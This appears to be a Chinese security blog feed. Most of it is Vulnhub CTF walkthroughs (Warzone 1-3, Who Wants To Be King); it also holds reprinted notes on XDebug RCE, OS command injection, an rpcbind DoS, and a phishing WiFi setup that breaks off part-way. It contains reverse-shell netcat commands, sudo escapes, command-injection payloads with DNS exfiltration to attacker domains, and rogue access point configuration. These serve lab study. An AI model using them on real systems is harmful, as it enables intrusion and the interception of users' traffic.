WHO WANTS TO BE KING 1

Dec 11, 2023

WHO WANTS TO BE KING: 1

一、基本信息

名称：Who Wants To Be King: 1
发布日期：2020.12.1
作者：Bjorn
系列：Who Wants To Be King
推特：@ArmBjorn

二、靶机简介

Flags：
root:/root/nice.txt

难度：简单

三、文件信息

文件名：whowantstobeking.ova
文件大小：2.4GB
下载地址：
MD5: 5B8BDCC5C24A3705C88F969B47A7199B
SHA1: 0114959A45DB91F699594D1476AB900F610681CA

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(ubuntu)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机whowantstobeking和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
ifconfig，查看kali分配到的ip
1
nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现只开放了22和80端口，访问主页，发现skeylogger文件：
1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.121 | tee nmapscan，端口扫描
3.最后再进行一下目录扫描，没有什么发现：
1
gobuster dir -u http://192.168.56.121 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt，目录扫描

文件解密，SSH登录

1.将skeylogger文件下载到本地，查看文件属性发现是二进制文件：
1
file skeylogger
1
readelf -all skeylogger
2.再利用strings命令看看文件中有没有隐藏什么字符串，发现了一串base编码的字符串：
1
strings skeylogger
3.将字符串解码，得到dracarys，这个到底是用户名还是密码我们不得而知，于是搜索一下：
1
echo ZHJhY2FyeXMK | base64 -d
4.从网络查询我们可知，“Dracarys”来自奇幻作品《冰与火之歌》中高等瓦雷利亚语中的“龙焰”，是“龙之母”丹妮莉丝·坦格利安驾驭巨龙之火时使用的口号。靶机开放了22端口，所以很可能用户名是deanerys：

初步提权

1.SSH登录后，查看文件权限，有两个程序可以利用：
1
sudo -l
2.但在/usr/lib/linuxmint/mintUpdate目录下没有那两个文件：
1
2
cd /usr/lib/linuxmint/mintUpdate
ls -la
3.回到～目录下，发现在.local/share目录下有一个daenerys.zip，解压出来的文件是djkdsnkjdsn，我们查看后提示我们note.txt的文件路径：
1
2
3
4
5
cd ~/.local/share
ls -la

unzip daenerys.zip
cat djkdsnkjdsn
4.查看note.txt，得到提示，再次网络搜索，得到khaldrogo的全名：
1
cat /usr/share/sounds/note.txt

Flag获取

1.khaldrogo就是root用户的密码，登录后在/root目录下能够找到flag，即nice.txt：
1
2
3
4
5
su root

cd /root
ls -la
cat nice.txt

WARZONE 3

Dec 11, 2023

WARZONE: 3

一、基本信息

名称：Warzone: 3
发布日期：2020.11.21
作者：AL1ENUM
系列：Warzone
推特: @AL1ENUM

二、靶机简介

Flags：
anunnaki:/~/underboss.txt
root:/root/boss.txt

难度：困难

三、文件信息

文件名：Warzone3.ova
文件大小：2.5GB
下载地址：
MD5: 3D82AB48E81BB31EE817EAECD8998747
SHA1: 8221A1683E3836903D050BF24E6E6601C72508B0

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(debain)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机warzone3和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
ifconfig，查看kali分配到的ip
1
nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现开放了21，22和4444端口，都是无法网页访问的：
1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.130 | tee nmapscan，端口扫描

FTP匿名登录

1.来到21端口，我们发现ftp服务可匿名登录：
1
2
ftp 192.168.56.130
anonymous
2.在/pub目录下我们能发现note.txt及alienclient.jar，全部获取到kali查看一下：
1
2
3
4
5
cd pub
ls -la
get note.txt
get alienclient.jar
quit
3.在note.txt中有用户名alienum和密码exogenesis：
1
cat note.txt
4.运行alienclient.jar，发现是一个登录器，输入用户密码登录并没有反应：

alienclient.jar反编修改

1.我们将alienclient.jar反编译回.java的组成（http://www.javadecompilers.com/），在Starter.java的actionPerformed方法中，判断用户权限时，由于存在本地鉴权问题，在判断用户权限前需添加一句role = “astronaut”;来提升权限：
1
2
3
4
5
if (e.getSource() == this.viewButton)
  role = "astronaut"; /*代码修改处*/
  if (Starter.role.equals("researcher")) {
    JOptionPane.showMessageDialog(this, "Permission Denied");
  } else if (role.equals("astronaut")) {
2.继续跟代码，发现reportList是执行代码list.setCmd(“tail -5 “ + f);，于是将它更改为list.setCmd(“nc -e /bin/bash 192.168.56.102 9002”);，并且将所有warzone.local改为靶机ip，重新编译成.jar，在kali开启对应端口监听，输入用户密码执行后，点击view：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public void actionPerformed(final ActionEvent e) {
  try {
      Starter.this.socket = new Socket("warzone.local", 4444);
      Starter.this.os = new ObjectOutputStream(Starter.this.socket.getOutputStream());
      final RE list = new RE();
      list.setToken(Starter.token);
      list.setOption("VIEW");
      list.setValue("VALUE");
      list.setCmd("nc -e /bin/bash 192.168.56.102 9002");  /*代码修改处*/
      Starter.this.os.writeObject(list);
      Starter.this.is = new ObjectInputStream(Starter.this.socket.getInputStream());
      final RE response = (RE)Starter.this.is.readObject();
      Starter.this.os.close();
      Starter.this.socket.close();
      Starter.this.reportValue(response.getValue());
  }

nc -lvnp 9002

初步提权

1.在exomorph用户目录下能够发现aliens.encrypted和wrz3encryptor.jar，都获取到kali：

cd ~
ls -la
python3 -m http.server 8001，exomorph开放http服务

wget http://192.168.56.130:8001/aliens.encrypted，kali获取
wget http://192.168.56.130:8001/wrz3encryptor.jar

2.再次对wrz3encryptor.jar进行反编，然后发现是AES的加密，可以写出解密方法：

public static void decrypt(String key, File inputFile, File outputFile) {
  doDeCrypto(2, key, inputFile, outputFile);
}

private static void doDeCrypto(int cipherMode, String key, File inputFile, File outputFile) {
  try {
    Key secretKey = new SecretKeySpec(key.getBytes(), "AES");
    Cipher cipher = Cipher.getInstance("AES");
    cipher.init(cipherMode, secretKey);
    FileInputStream inputStream = new FileInputStream(inputFile);
    byte[] inputBytes = new byte[(int)inputFile.length()];
    inputStream.read(inputBytes);
    byte[] outputBytes = cipher.doFinal(inputBytes);
    FileOutputStream outputStream = new FileOutputStream(outputFile);
    outputStream.write(outputBytes);
    inputStream.close();
    outputStream.close();
    } catch (Exception ex) {
      ex.printStackTrace();
    }
  }

3.对aliens.encrypted进行解密后，我们可以发现anunnaki用户及其密码：

4.可以通过ssh登录anunnaki用户，在用户目录下获得第一个flag，underboss.txt：

root提权

1.在/home/anunnaki目录下还可以发现secpasskeeper.jar.gpg文件，利用gpg解密：

1	gpg -o secpasskeeper.jar -d secpasskeeper.jar.gpg #passphrase为nak1nak1..

2.解密后能得到secpasskeeper.jar文件，继续对其反编后，修改main方法：

public class Main {
  public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {
    try {
      Scanner in = new Scanner(System.in);
      System.out.println("[Warzone 3] Root's Password Manager");
      System.out.print("Secret passphrase : ");
      String secret = in.nextLine();
      Cryptor cryptor = new Cryptor();
      Resources res = new Resources();
      String user = cryptor.decrypt(secret, removeSalt(res.getCipher()));
      String sys = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
      if (true/*user.equals(sys)*/) { /*代码修改处*/
        String plaintext = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
        System.out.println("[+] Success, the password is : " + plaintext);
      } else {
        System.out.println("[x] Failed");
      } 
    } catch (NullPointerException n) {
      System.out.println("[!] Terminated");
      System.exit(0);
    } 
  }

3.随意传递参数输入，可以得到root的密码为ufo_phosXEN，现在可以提权到root，并且在/root目录下发现第二个flag，boss.txt：

su root
cd /root
ls -la
cat boss.txt

Vulnhub Warzone WriteUp

WARZONE 2

Dec 11, 2023

WARZONE: 2

一、基本信息

名称：Warzone: 2
发布日期：2020.11.9
作者：AL1ENUM
系列：Warzone
推特: @AL1ENUM

二、靶机简介

Flags：
admiral:/~/Desktop/silver.txt
root:/root/Desktop/gold.txt

难度：中等

三、文件信息

文件名：Warzone2.ova
文件大小：2.6GB
下载地址：
MD5: FF639B25FB64A049E094FC20F51B732C
SHA1: E5B5CADF476129CC365EDF58C5855497B97F1AA5

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(debain)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机warzone2和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
>ifconfig，查看kali分配到的ip
1
>nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现开放了21，22和1337端口，都是无法网页访问的：
1
>nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.129 | tee nmapscan，端口扫描

FTP匿名登录

1.来到21端口，我们发现ftp服务可匿名登录：
1
2
ftp 192.168.56.129
anonymous
2.在/anon目录下我们能发现username.PNG，password.PNG及token.PNG，全部获取到kali查看一下：
1
2
3
4
5
6
cd anon
ls -la
get username.PNG
get password.PNG
get token.PNG
quit
3.在网络上查询旗语的指代，可以得到用户名为semaphore，密码为signalperson，然后进行sha256加密再转hex后得到token为833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26，可以远程链接1337端口：
1
nc 192.168.56.129 1337
4.可以在kali开启对应的端口监听，获取shell：
1
2
3
nc -e /bin/bash 192.168.56.102 1234，靶机返回shell

nc -lvnp 1234，kali开启监听

初步提权

1.在/flagman目录下我们能发现一个warzone2-socket-server目录，在其中的.mysshpassword文件可以发现flagman的ssh登录密码，可以登录到flagman：

2.在flagman用户下利用sudo -l命令能发现admiral用户能够执行wrz2-app.py，而flagman无权读写该文件：

3.运行wrz2-app.py发现程序在5000端口起了一个flask，并且开启了debug和输出了pin码：
1
sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py
4.那么我们就要尝试在debug中获取反弹shell，获取用户admiral权限。由于监听在地址127.0.0.1，这里使用socat做了一个端口转发：
1
2
3
socat TCP4-LISTEN:15000,reuseaddr,fork TCP4:127.0.0.1:5000

sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py，再开启一个窗口链接flagman执行wrz2-app.py
5.访问192.168.56.129:15000/console，输入wrz2-app.py生成的PIN，构造shell，在kali开启对应端口监听，成功反弹：
1
2
3
4
import os
os.system('nc -e /bin/bash 192.168.56.102 9002')

nc -lvnp 9002
6.在/home/admiral/Desktop目录下，我们能获得第一个flag，silver.txt：
1
2
3
cd ~/Desktop
ls -la
cat silver.txt

root提权

1.再通过sudo -l命令，可以看到less可以执行特权命令：
1
sudo -l
2.那我们可以直接使用less进行提权：
1
2
sudo -u root /usr/bin/less /var/public/warzone-rules.txt
:!id，在warzone-rules.txt编辑页输入
3.成功提权到root，并可以在/root/Desktop下发现第二个flag，gold.txt：
1
2
sudo -u root /usr/bin/less /var/public/warzone-rules.txt
cat /root/Desktop/gold.txt

Vulnhub Warzone WriteUp

WARZONE 1

Dec 11, 2023

WARZONE: 1

一、基本信息

名称：Warzone: 1
发布日期：2020.10.24
作者：AL1ENUM
系列：Warzone
推特: @AL1ENUM

二、靶机简介

Flags：
captain:/~/Desktop/user.txt
root:/root/Desktop/root.txt

难度：中等

三、文件信息

文件名：Warzone.ova
文件大小：2.2GB
下载地址：
MD5: 98FC0985C32A2380A0AFBF24222C22D5
SHA1: 0FB9DBC8D8516B462C4E1C8735D41B01D57F2B35

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(debain)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机warzone1和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
>ifconfig，查看kali分配到的ip
1
>nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现开放了21，22和5000端口，访问5000端口，发现栅栏密码：
1
>nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.128 | tee nmapscan，端口扫描
3.最后再进行一下目录扫描，没有太多值得关注的信息：
1
>gobuster dir -u http://192.168.56.128:5000 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt，目录扫描

页面信息获取

1.栅栏密码的原文应该是Its a warzone，加密后变成Iwotaaznsre，将源码中的字串解密（http://www.atoolbox.net/Tool.php?Id=777）得到路径：

2.访问页面路径，得到8个用户及对应密码加密，加密字段无法用base64直接解开：

FTP匿名登录

1.来到21端口，我们发现ftp服务可匿名登录：
1
2
ftp 192.168.56.128
anonymous
2.在/pub目录下我们能发现note.txt，提示我们密码都是用warzone-encrypt.jar进行加密的：
1
2
3
4
5
6
cd pub
ls -la
get note.txt
get warzone-encrypt.jar
quit
cat note.txt

jar加密算法反解

1.查看warzone-encrypt.jar，发现是用AES对密码进行加密的，这样的话我们依加密算法写出解密算法即可：

Main.java

package encrypt;

import java.util.Base64;
import java.util.Scanner;
import Other.Obfuscated;
import crypto.AES;

public class Main {
   public static String decrypt(String encryptpasswd) {
       Obfuscated obs = new Obfuscated();
       AES ea = new AES(obs.getIV(), 128, obs.getKey());
       try {
           ea.cipher.init(2, ea.key, ea.iv);
           byte[] encryptbytes = Base64.getDecoder().decode(encryptpasswd);
           byte[] decryptbytes = ea.cipher.doFinal(encryptbytes);
           return new String(decryptbytes);
       } catch (Exception ex) {
           throw new RuntimeException(ex.getMessage());
       }
   }

   public static void main(String[] args) {
       while (true) {
           Scanner in = new Scanner(System.in);
           System.out.print("enter the encryptpassword to decrypt : ");
           String encryptpassword = in.nextLine();
           System.out.println("password : " + decrypt(encryptpassword));
       }
   }
}

AES.java

package crypto;

import Other.Obfuscated;
import java.security.Key;
import java.security.MessageDigest;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class AES {
 public static final IvParameterSpec DEFAULT_IV = new IvParameterSpec(new byte[19]);
 public static final String ALGORITHM = "AES";
 public static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
 public Key key;
 public IvParameterSpec iv;
 public Cipher cipher;
 public AES(String key) {
   this(key, 128);
 }
 
 public AES(String key, int bit) {
   this(key, bit, null);
 }
 
 public AES(String key, int bit, String iv) {
   if (bit == 256) {
     this.key = new SecretKeySpec(getHash("SHA-256", key), "AES");
   } else {
     this.key = new SecretKeySpec(getHash("MD5", key), "AES");
   } 
   if (iv != null) {
     this.iv = new IvParameterSpec(getHash("MD5", iv));
   } else {
     this.iv = DEFAULT_IV;
   } 
   init();
 }
 
 public static byte[] getHash(String algorithm, String text) {
   try {
     return getHash(algorithm, text.getBytes("UTF-8"));
   } catch (Exception ex) {
     throw new RuntimeException(ex.getMessage());
   } 
 }
 
 public static byte[] getHash(String algorithm, byte[] data) {
   try {
     MessageDigest digest = MessageDigest.getInstance(algorithm);
     digest.update(data);
     return digest.digest();
   } catch (Exception ex) {
     throw new RuntimeException(ex.getMessage());
   } 
 }
 
 public void init() {
   try {
     this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
   } catch (Exception ex) {
     throw new RuntimeException(ex.getMessage());
   } 
 }
 
 public String encrypt(String str) {
   try {
     return encrypt(str.getBytes("UTF-8"));
   } catch (Exception ex) {
     throw new RuntimeException(ex.getMessage());
   } 
 }
 
 public String encrypt(byte[] data) {
   try {
     this.cipher.init(1, this.key, this.iv);
     byte[] encryptData = this.cipher.doFinal(data);
     return new String(Base64.getEncoder().encode(encryptData));
   } catch (Exception ex) {
     throw new RuntimeException(ex.getMessage());
   } 
 }
 
 public static String encryptString(String content) {
   Obfuscated obs = new Obfuscated();
   AES ea = new AES(obs.getIV(), 128, obs.getKey());
   return ea.encrypt(content);
 }
}

Obfuscated.java
package Other;

public class Obfuscated {
 public String getIV() {
   return "w4rz0n3s3cur31vv";
 }
 
 public String getKey() {
   return "w4rz0n3s3cur3k3y";
 }
}

2.将用户和加密后密码输入得到对应的用户及解密密码字典，利用hydra进行ssh爆破：

1	hydra -L user.dic -P pass.dic ssh://192.168.56.128

初步提权

1.ssh登录commando用户，查看历史：
1
2
3
ssh commando@192.168.56.128

cat .bash_history
2.可以发现/home/captain/Desktop目录下有user.txt，但我们无权查看：
1
2
3
cd /home/captain/Desktop
ls -la
cat user.txt
3.在/.crypt目录下能发现readme.txt，readme.txt提醒密码就在这里，还有一段加密程序encrypt.py和.c：
1
2
3
cd .crypt
ls -la
cat readme.txt
4.查看encrypt.py，.c和script.sh，我们能够知道script.sh是将参数输入encrypt.py后由encrypt.py加密生成.c中的字串，我们可以写一个解密程序，将captain用户的密码解密出来：
1
2
3
cat encrypt.py
cat .c
cat script.sh
1
2
3
4
5
6
7
8
9
10
11
pip3 install simple-crypt

#!/usr/bin/python3
from simplecrypt import encrypt, decrypt
import os
import base64

key = 'sekret'
text = base64.b64decode('c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw==')
passwd = decrypt(key, text)
print(passwd)
5.登录到captain用户，可以查看第一个flag，user.txt：
1
2
cd ..
cat user.txt

root提权

1.通过sudo -l命令，可以看到jjs（jjs是让javascript可以调用java）可以执行特权命令：
1
sudo -l
2.那我们可以写一个java的shell提权利用js去调用再使用jjs去执行：
1
echo "Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.56.102 1234')"|sudo jjs
3.成功提权到root，并可以在/root/Desktop下发现第二个flag，root.txt：
1
2
3
cd /root/Desktop
ls -la
cat root.txt

Vulnhub Warzone WriteUp

111端口rpcbind漏洞

Dec 7, 2023

111端口rpcbind漏洞

本文转自Mamba start 并作补充

简介

rpcbind是NFS中用来进行消息通知的服务

实验环境

攻击机：kali linux
ip:192.168.172.134
目标机：Metasploittable2
ip:192.168.172.129

攻击过程

step1:使用nmap探测

命令：nmap 192.168.172.129

命令：nmap -sV -p 111 192.168.172.129

命令：nmap -p 111 --script=rpcinfo 192.168.172.129

step2:metasploit模块探测

启动msf

命令：use auxiliary/scanner/misc/sunrpc_portmapper

命令：show options

本文讲的是只需60字节就可通过rpcbind让服务器崩溃，全世界的人都知道这玩意儿的用处，人们就这么任由它一直开着，无语。所以，要么补上，要么关闭吧。

写在后面

向rpcbind服务的UDP套接字发送60字节载荷，便可填充目标内存，搞崩主机系统。
圭多·乌兰肯，该漏洞发现者兼“Rpcbomb”漏洞利用程序开发者，抱怨称该软件包维护者毫无反应，他不得不自己写了补丁。

漏洞利用&补丁：https://github.com/guidovranken/rpcbomb

他写道，Shodan搜索发现，互联网上开放 rpcbind 111 端口的主机有180万台。其中大多数都运行在AWS之类大规模托管上，用户总是直接沿用Linux发行版的默认配置(111端口开放)。

如果你真的需要使用rpcbind服务(将远程过程调用RPC与地址绑定)，就把它置于防火墙后，限制111端口对外开放吧。最好就是直接关了。

GitHub上的补丁足够小，开发者们应该可以验证这些补丁的短小精悍：rpcbind只需要两行代码就能修复，不像libtirpc要256行。

乌兰肯称，该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB)，除非进程崩溃，或者管理员挂起/重启rpcbind服务，否则该内存不会被释放。

当然，除了不断占用目标系统的内存，攻击者还可以干别的事，因为有些软件在内存分配失败的时候，是会发生不可预知的错误的。

DOS Exploit RPCBind Reprint

XDebug 远程调试漏洞（代码执行）

Dec 7, 2023

XDebug 远程调试漏洞（代码执行）

本文转自joker0xxx3 并作补充

简介

XDebug是PHP的一个扩展，用于调试PHP代码。如果目标开启了远程调试模式，并设置remote_connect_back = 1：
1
2
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
这个配置下，我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm，目标服务器的XDebug将会连接访问者的IP（或X-Forwarded-For头指定的地址）并通过dbgp协议与其通信，我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

更多说明可参考：

[[https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface\]](https://ricterz.me/posts/Xdebug%3A A Tiny Attack Surface])(https://ricterz.me/posts/Xdebug%3A A Tiny Attack Surface)

https://xdebug.org

漏洞利用

启动完成后，访问http://192.168.44.132:8080/即可发现主页是一个简单的phpinfo，在其中可以找到xdebug的配置，可见开启了远程调试。

因为需要使用dbgp协议与目标服务器通信，所以无法用http协议复现漏洞。

我编写了一个漏洞复现脚本，指定目标web地址、待执行的php代码即可：
1
2
# 要求用python3并安装requests库
python3 exp.py -t http://192.168.44.132:8080/index.php -c 'shell_exec('id');'
重要说明：因为该通信是一个反向连接的过程，exp.py启动后其实是会监听本地的9000端口（可通过-l参数指定）并等待XDebug前来连接，所以执行该脚本的服务器必须有外网IP（或者与目标服务器处于同一内网）。

Exploit RCE Reprint XDebug

PortSwigger Academy | OS command injection 操作系统命令注入

Dec 7, 2023

PortSwigger Academy | OS command injection : 操作系统命令注入

本文转自en0_0 并作补充

总结

&name=1&email=1%401.com||ping+-c+10+127.0.0.1||&subject=1 有时候需要url编码

productId=1&storeId=1|whoami POST方法不能用&

在本节中，我们将解释什么是OS命令注入，描述如何检测和利用漏洞，为不同的操作系统拼写一些有用的命令和技术，并总结如何防止OS命令注入。

什么是OS命令注入？

操作系统命令注入（也称为外壳程序注入）是一个Web安全漏洞，它使攻击者可以在运行应用程序的服务器上执行任意操作系统（OS）命令，并且通常会完全破坏该应用程序及其所有数据。攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其他部分，利用信任关系将攻击转移到组织内的其他系统。

执行任意命令

考虑一个购物应用程序，该应用程序使用户可以查看特定商店中某商品是否有库存。该信息可通过如下网址访问：

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供库存信息，应用程序必须查询各种旧系统。由于历史原因，该功能是通过使用产品和存储ID作为参数调用shell命令来实现的：

stockreport.pl 381 29
此命令输出指定项目的库存状态，并返回给用户。

由于该应用程序无法防御OS命令注入，因此攻击者可以提交以下输入以执行任意命令：

& echo aiwefwlguh &

如果此输入是在productID参数中提交的，那么应用程序执行的命令是：

stockreport.pl & echo aiwefwlguh & 29

echo命令只是使提供的字符串在输出中回显，并且是测试某些类型的OS命令注入的有用方法。 & 字符是shell命令分隔符，因此执行的实际上是一个接一个的三个独立命令。结果，返回给用户的输出为：
1
2
3
Error - productID was not provided
aiwefwlguh
29: command not found
输出的三行表明：

原始的stockreport.pl命令在没有预期参数的情况下执行，因此返回了错误消息。

执行注入的echo命令，并且在输出中回显提供的字符串。

原始参数29作为命令执行，从而导致错误。

通常，将附加命令分隔符&放置在注入命令之后是很有用的，因为这会将注入命令与注入点后面的内容分开。这减少了随后发生的事件阻止注入的命令执行的可能性。

Lab: OS command injection, simple case

productId=1&storeId=1|whoami

有用的命令

当您确定了OS命令注入漏洞后，通常可以执行一些初始命令来获取有关您受到破坏的系统的信息。以下是在Linux和Windows平台上有用的一些命令的摘要：

命令目的 Linux Windows

当前用户的名称 whoami whoami

操作系统 uname -a ver

网络配置 ifconfig ipconfig / all

网络连接 netstat -an netstat -an

运行进程 ps -ef tasklist

操作系统命令注入漏洞盲注

OS命令注入的许多实例都是盲注的漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲注漏洞仍然可以被利用，但是需要不同的技术。

考虑一个允许用户提交有关该站点的反馈的网站。用户输入他们的电子邮件地址和反馈消息。然后，服务器端应用程序会向站点管理员生成一封包含反馈的电子邮件。为此，它使用提交的详细信息调出邮件程序。例如：

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail命令的输出（如果有）不会在应用程序的响应中返回，因此使用echo有效负载将无效。在这种情况下，您可以使用多种其他技术来检测和利用漏洞。

使用时间延迟检测盲注OS命令注入

您可以使用注入的命令来触发时间延迟，从而允许您根据应用程序响应的时间来确认命令已执行。 ping命令是执行此操作的有效方法，因为它使您可以指定要发送的ICMP数据包的数量，从而指定该命令运行所花费的时间：

& ping -c 10 127.0.0.1 &

此命令将导致应用程序ping其环回网络适配器10秒钟。

Lab: Blind OS command injection with time delays

1	csrf=j25Ci6owysrme8z4HvkicgC1hqXWr0Yz&name=1&email=1%401.com\|\|ping+-c+10+127.0.0.1\|\|&subject=1&message=1

通过重定向输出来利用盲注OS命令注入

您可以将注入命令的输出重定向到Web根目录下的文件中，然后可以使用浏览器进行检索。例如，如果应用程序从文件系统位置/var/www/static提供静态资源，则可以提交以下输入：

& whoami> /var/www/static/whoami.txt &

>字符将whoami命令的输出发送到指定文件。然后，您可以使用浏览器获取https://vulnerable-website.com/whoami.txt来检索文件，并查看注入命令的输出。

Lab: Blind OS command injection with output redirection

1	&email=1%401.com\|\|whoami+>+/var/www/images/whoami.txt\|\|&

利用带外（OAST）技术利用盲目的OS命令注入

您可以使用注入的命令，通过OAST技术触发与您控制的系统的带外网络交互。例如：

& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用nslookup命令对指定的域进行DNS查找。攻击者可以监视是否发生了指定的查找，从而检测到命令已成功注入。

Lab: Blind OS command injection with out-of-band interaction

带外通道还提供了一种从注入的命令中提取输出的简便方法：
(根本别啥用)

& nslookup whoami.kgji2ohoyw.web-attacker.com &

这将导致对DNS的攻击者所在域进行域名查询，其中包含whoami命令的结果：
1
wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

1	email=1%401.com\|\|nslookup+`whoami`.132kftea48t801xjselcncwfp6vwjl.burpcollaborator.net\|\|

注入OS命令的方式

各种shell字符可用于执行OS命令注入攻击。

许多字符用作命令分隔符，使命令可以链接在一起。以下命令分隔符可在基于Windows和Unix的系统上运行：
&
&&
|
||
以下命令分隔符仅在基于Unix的系统上起作用：
;
Newline (0x0a or \n)
在基于Unix的系统上，您还可以使用反引号或美元字符在原始命令中内嵌执行注入命令：（原来如此，windows不能用反引号）
1
2
`injected-command`
$( injected-command )
请注意，不同的shell元字符具有细微不同的行为，这些行为可能会影响它们是否在某些情况下起作用，以及它们是否允许带内检索命令输出或仅对盲注使用有用。

有时，您控制的输入会出现在原始命令的引号中。在这种情况下，需要先使用引号终止上下文（使用”或’），然后再使用适当的外壳元字符来插入新命令。

如何防止OS命令注入攻击

到目前为止，防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。几乎在每种情况下，都有使用更安全的平台API来实现所需功能的替代方法。

如果认为无法通过用户提供的输入调出OS命令，则必须执行强大的输入验证。有效验证的一些示例包括：

根据允许值的白名单进行验证。

验证输入是否为数字。

验证输入仅包含字母数字字符，不包含其他语法或空格。

切勿尝试通过转义shell元字符来清理输入。实际上，这太容易出错，容易被熟练的攻击者绕开。

Exploit RCE Reprint

配置EMQX服务器用户名/密码方式登录

Dec 7, 2023

配置EMQX服务器用户名/密码方式登录

本文转自GEEK.攻城狮并作补充

配置环境

系统：ubuntu 18.04server lts

EMQX版本：v4.0.6

停止服务

emqx stop

编辑用户名密码配置文件

vim ./etc/emqx/plugins/emqx_auth_username.conf

增加用户名、密码，密码算法改为plain，透传

关闭匿名登录

vim /etc/emqx/emqx.conf

查找allow_anonymous，修改为false

启动emqx服务
1
emqx start
进入后台管理界面，启动用户名密码认证。
1
http://服务器IP:18083

此时，使用MQTT之前的匿名方式的配置，已经无法登录

MQTT.FX上，添加用户名密码：

此时可以通过用户名密码登录，订阅主题

同样的方式，我们需要再添加一个用户，用于两个用户之间通讯。

我们可以从服务器端登录一个用户，向MQTT.FX客户端订阅的TOPIC发送信息。可以看到正常收到。

EMQX Exploit Reprint

kali搭建钓鱼WiFi

Dec 6, 2023

kali搭建钓鱼WiFi

本文转自逍遥子并作补充

如何在kali下快速搭建钓鱼WiFi呢？全网最简单最详细的教程核能来袭。一起来看看吧。

准备

USB无线网卡（推荐8187 3070）

hostapd dnsmasq apache2

kali2020(最新版)

配置无线网卡

在终端执行 ifconfig查看是否有 wlan0如果存在，我们需要激活为监听模式。执行命令：
1
airmon-ng start wlan0

配置hostapd

1	vim hostapd.conf

写入下面内容

interface=wlan0mon
driver=nl80211
ssid=Chinanet #无线名称 随意即可
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0

配置dnsmasq文件

终端执行

1	vim dnsmasq.conf

写入内容如下：

interface=wlan0mon
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

配置防火墙和端口转发

1
2
3

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

这样做的目的是保证我们的鱼儿能够正常上网。

给无线网卡分配IP地址

